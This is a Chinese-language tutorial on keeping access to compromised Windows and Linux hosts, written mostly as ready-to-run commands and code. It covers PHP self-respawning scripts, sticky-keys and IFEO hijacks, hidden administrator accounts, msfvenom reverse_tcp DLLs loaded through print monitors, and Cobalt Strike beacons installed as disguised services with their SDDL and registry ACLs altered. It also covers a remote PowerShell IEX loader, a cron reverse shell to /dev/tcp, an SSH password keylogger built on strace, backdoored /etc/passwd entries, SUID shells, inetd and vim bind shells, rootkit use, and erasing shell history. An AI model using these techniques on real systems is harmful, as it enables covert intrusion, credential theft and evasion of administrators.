windows权限维持
俩个方面,一个是web后门方面,一个是软件方面
php不死马
<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制执行
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>
在网站根目录写入此php文件,访问此文件
192.168.80.145/1.php
就会生成test,删除后也会在5s再生成,而且关闭浏览器也会继续运行
只有重启apache服务才能停止
可以将php文件隐藏并且拒绝写入权限,就减少被发现的可能,且不会被删除
映像劫持
注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
在下面添加项,命名为要触发的名字,如xiaosha.exe,再项的右侧新建一个字符值Debugger,在其中写入你的后门绝对路径,这里写个C:\Windows\System32\cmd.exe
之后我们将一个exe改名为同名文件即可执行后门,这里是弹出cmd
策略组脚本维持
gpedit.msc打开组策略,再windows设置里的脚本的启动项加入后门
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
这里可以是你的后门exe,
测试放个1.bat
net user xiaosha 123456 /add & net localgroup administrators xiaosha /add
重启后会创建管理员账号
shift后门
再windows中连按5次shift会弹出如下
思路是连按5次shift让他执行后门
首先将sethc.exe的所有者改为administrator
修改他的权限
首先将sethc.exe改为sethc.exe.bat
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
然后将后门exe改为sethc.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
连按5次shift就会执行后门文件
建立影子账号
带$符号的账号,net user是看不到的,但是再计算机管理下用户和控制面板用户可看到
net user xiaosha$ 123456 /add & net localgroup administrators xiaosha$ /add
net user 看不到
计算机管理和控制面板可看到此用户
我们来把这个账号隐藏
打开注册表,SAM可能需要赋予权限
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
3ea是xiasha$的值,1F4是管理员的值
我们将管理员下的F值复制到xiaosha$下的F
然后导出3EA和xiaosha$
删除xiaosha$用户,再运行刚才导出的12进行导入
net user xiaosha$ /del
之后我们在net user、控制面版、计算机管理查看,也不会查看到xiaosha$用户
在注册表中会查看到
我们打开3389用此账号也可连接,证明此用户确实存在
powershell 配置文件后门
Powershell配置文件是一个powershell脚本,他在每次运行powershell的时候自动运行,所以我们向该文件写入后门,即可维持权限
首先查看是否存在配置文件
依次执行
echo $profile
Test-path $profile
返回false需要我们创建一个
New-Item -Path $profile -Type File –Force
接下来将后门文件写入配置文件
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
这里的1.bat是我的创建管理员xiaosha命令
接下来net user 查看用户,不存在xiaosha;运行powershell,再次查看,存在xiaosha
Monitor权限维持
白+黑方法,exe是正常,dll是后门。之后将exe放到打印机做权限维持
地址https://github.com/Al1ex/Monitor
下载该项目后使用VS编译Monitor.cpp,当然也可以使用编译好的,release是编译好的
Monitor.cpp代码
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name; monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
- pName //监视器名称
- pEnvironment //环境架构
- pDLLName //监视器DLL文件的名称
我们把Monitor.exe放到system32下
msfvenom生成反向连接dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=4444 -f dll > test.dll
将生成的test.dll也放到system32下
msf监听
运行Monitor.exe即可拿到一个meterpreter session
接下来做下权限维持
我们需要在注册表下的Monitors设置一个key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
可用命令实现,创建一个注册表项,其中将包含test.dll
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
接下来重启时,spoolsv.exe进程将自动将加载Monitors注册表项中存在且存储在Windows文件夹System32中的所有驱动程序DLL文件
重新监听,重启后仍然得到meterpreter session
安全描述符隐藏服务后门
将cs放在kali,在cs中运行teamserver
sudo ./teamserver 192.168.80.134 123456
如果没有运行chmod +x 加个运行权限
本机cs连接 监听
生成后门
将生成的后门放到靶机administrator下
通过注册服务创建后门
将后门程序注册为自启动服务,通常可以通过sc或者powershell来进行创建。
cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto
powershell创建自启动服务
new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe" – StartupType AutomaticDelayedStart
.NET CLR Networking 3.5.0.0是伪造的服务名称,最好写的具有迷惑性
运行后创建服务,是停止状态我们运行即可在本机cs监听下拿到一个后门
开启服务,可接收后门
但是创建的服务很容易被发现
比如 sc query或Get-Service
cmd
sc query | findstr "服务名"
powershell
get-service | findstr "服务名"
即便我们伪造了服务名,还是会存在风险,我们可以做隐藏
通过修改SDDL(安全描述符)隐藏服务
众所周知,windows访问控制模型分为两部分:
- access token(访问令牌)
- 安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:
- 对象的所有者和主要组的 Sid(安全标识符)
- 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
- 指定为对象生成审核记录的访问尝试类型的 SACL 。
- 一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU) (D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
运行后任务管理器、sc query、Get-Service均查询不到
但是如果管理员查看注册表会很容易发现异常值,
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5.0.0
如果看到这就很容易发现问题
修改注册表ACL
可以修改注册表的DACL来拒绝对值的查询,达到隐藏效果
我们使用一个powershell脚本
1.ps1
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
将这个脚本放到kali,开启web服务
在靶机远程加载此脚本
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.80.134/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"
重启靶机,在注册表就看不到此异常值,且本机cs也拿到了后门
iis后门
web服务器上一般都支持net,可以考虑利用net iis做一个后门
项目地址 https://github.com/WBGlIl/IIS_backdoor
在网站根目录下新建一个bin文件夹,存放dll集。把IIS_backdoor_dll.dll存放进去
新建 web.config 或者在原有的文件上添加内容
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<modules>
<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
</modules>
</system.webServer>
</configuration>
打开iis_backdoor_shell将网址填入即可运行命令
可以将后门IIS_backdoor_dll.dll只读隐藏,这样减少了被发现的可能
windows 隐藏技术
刚才把iis后门只读隐藏,还是会存在被发现的可能,管理员只要显示隐藏文件还是会发现它
接下来我们再做一层隐藏,再次减少被发现的可能
使用Attrib +s +a +h +r命令,把原本的文件夹增加了 系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
Attrib +s +a +h +r IIS_backdoor_dll.dll
这样的话即便勾选 显示隐藏文件 还是发现不了
但是还是有办法发现它
再刚才勾选显示隐藏文件的右侧有一个选项,再查看中取消所指的勾选框,
这样再显示隐藏文件下就可看到刚才的文件
驱动级文件隐藏
驱动隐藏最典型的现象就是系统盘中存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
驱动隐藏我们通过软件实现Easy File Locker http://www.xoslab.com/efl.html
在此软件下,只勾选可读,其他的一律拒绝那么该文件会出现:不会显示、不能通过列目录列出来、也不能删除,除非知道完整路径,才可以读取文件内容。
但是还是会有办法删除文件
查询服务状态: sc qc xlkfs
停止服务: net stop xlkfs
服务停止以后,经驱动级隐藏的文件显现
删除服务: sc delete xlkfs
之后删除文件,重启系统,确认服务已经被清理了
linux 权限维持
修改文件/终端属性
文件创建时间
蓝队可以根据文件修改时间来判断文件是否为后门,比如参考index.php的时间来看shell.php的时间,这样就会发现shell.php的生成时间有问题,从而判断它是一个后门
使用touch命令,touch命令用于修改文件或目录的时间属性,包括存取时间和更改时间。若文件不存在,会建立新的文件。
touch -r index.php shell.php
使用index.php的是时间属性来创建shell.php
文件锁定
linux中可用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l查看不出来,从而达到隐藏权限的目的
chattr +i shell.php #锁定文件
rm -rf shell.php #提示禁止删除
lsattr shell.php #属性查看
chattr -i shell.php #解除锁定
rm -rf shell.php #彻底删除文件
历史操作命令
shell中执行的命令,可通过history查看
如果不想被记录,可以开启无痕模式
关闭历史记录
[space]set +o history
space是空格,并且因为空格的缘故,此命令本身也不会被记录
开启历史记录
[Space]set -o history
但是如果之前的命令已经被记录,也可以删除之前的命令记录
列出想删除的命令中的关键字,通过其前面的数字删除
history | grep "shell"
history -d [num]
也可以大规模的删除
只保留150行
sed -i '150,$d' ~/.bash_history
passwd增加用户
同linux suid提权
/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
生成密码为passwd的密文
perl -le 'print crypt("passwd","salt")'
将用户名为xiaosha 密码为passwd的用户写入root组,从而有root权限
echo "xiaosha:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
也可以远程ssh连接
ssh xiaosha@ip
suid后门
当一个文件所属组的x标志位是s(set uid简称suid)时,且所属组为root时,当执行该文件时,其实是以root身份执行的
必要条件:
- SUID权限仅对二进制程序有效。
- 执行者对于该程序需要具有x的可执行权限
- 本权限仅在执行该程序的过程中有效
- 在执行过程中执行者将具有该程序拥有者的权限
之前在linux提权中,我们是利用具有siud权限且所属为root来提权,此处同理
在root下创建suid权限文件
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
拿shell
/tmp/.woot
或
/tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
ssh连接用户,在tmp下执行就可拿到root
ssh后门
ssh软连接后门
原理是利用PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动时会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,导致了任意密码登录:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
任意输入密码即可登录:
ssh root@ip -p端口
优点:可绕过一些安全设备的流量检测,但是在本地查看端口会暴露,我们可以将端口设置为8081 8080这些端口来伪装
SSH 公钥免密码登陆
之前在提权用过此方法
ssh-keygen -t rsa
//生成公钥
cat id_rsa.pub > authorized_keys
//将id_rsa.pub内容放到目标.ssh/authorized_keys里
生成之后在主目录下的/.ssh就会生成文件
之后将id_rsa内容拿出来并赋予文件600权限
之后通过此文件连接,
ssh -i id_rsa root@ip
不需要密码即可连接
Keylogger记录密码
系统如果存在strace的话,
strace可以跟踪任何进程的系统调用和数据
可以用 strace获取 ssh 的读写连接的数据,抓取管理员登陆其他机器的明文密码
在当前用户的 .bashrc 里新建一条 alias ,用来抓取他登陆其他机器的 ssh 密码
cd ~
vi .bashrc
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
//做别名,将记录到的信息导入到/tmp下的文件里
source .bashrc
//让它生效
生效后用ssh登录会先执行刚才的命令,刚才那段命令别名也是ssh,之后用ssh登录的信息就会被记录下来
比如我们 ssh root@127.0.0.1
连接后在tmp下就会生成log文件,我们可通过此命令读取
grep -A 9 'password' .ssh-2210月101634901802.log
可看到接收到了密码
Ubuntu利用Cron安装后门
Cron是ubuntu下默认启动的用户执行计划,它会按照设置,在固定的周期或一定时间执行某个任务。
它是一项服务,可使用基本的服务查看状态命令等查看信息。
service cron status
把反弹shell写入计划任务,*为立即执行
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.80.134/8888 0>&1';\r%100c\n")|crontab -
查看命令是否写入,编辑任务
crontab -e
查看计划任务,但是此命令查看不到写入的反弹shell,以为我们使用了特殊字符\r \n,所以不容易被发现
cat /var/spool/cron/crontabs/root
计划任务运行后,拿到了反弹shell
因为是root下的计划任务,所以拿到了root
vim python 拓展后门
适用于装了vim 和python的linux
创建
dir.py 正向后门
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print ('waiting for connect')
talk, addr = server.accept()
print ('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
运行py文件
这里让它运行完之后2s删除此文件,减少被发现可能
$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误 输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结 果是否正确,都不会有输出。
连接11端口,拿到shell
nc -vv 192.168.80.146 11
但是运行完之后,可查看到可疑进程vim
netstat -anpt
如果管理员看到此,很容易被发现,我们需要将他隐藏起来
创建一个mull目录,将此进程挂载到mull目录下
mkdir null
mount --bind null /proc/2520
#mount –bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来
可以查看挂载的目录
cat /proc/$$/mountinfo
取消挂载
sudo umount /proc/2520
inetd后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。
当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。
所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
配置inetd
修改默认端口
/etc/services
woot 6666/tcp #evil backdoor service
然后修改conf文件
/etc/inetd.conf
woot stream tcp nowait root /bin/bash bash -i
此处6666就是我们连接进来的端口,可以设置为常见的端口
配置完后inetd运行它
之后通过6666连接进来
nc -vv 192.168.80.146 6666
rootkit后门
rootkit分为内核级和应用级两种:内核级的比如:Diamorphine,应用级的比如:Mafix
Diamorphine
https://github.com/m0nad/Diamorphine.git
目标需要make和gcc
进入工具的目录
安装模块
make
之后必须以root权限运行
insmod diamorphine.ko
获取root
kill -64 0
可看到web2用户拿到了root权限
创建隐藏文件,ls,du都找不到
kill -63 pid号
只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏。
touch diamorphine_secret
卸载diamorphine模块,需要root权限
rmmod diamorphine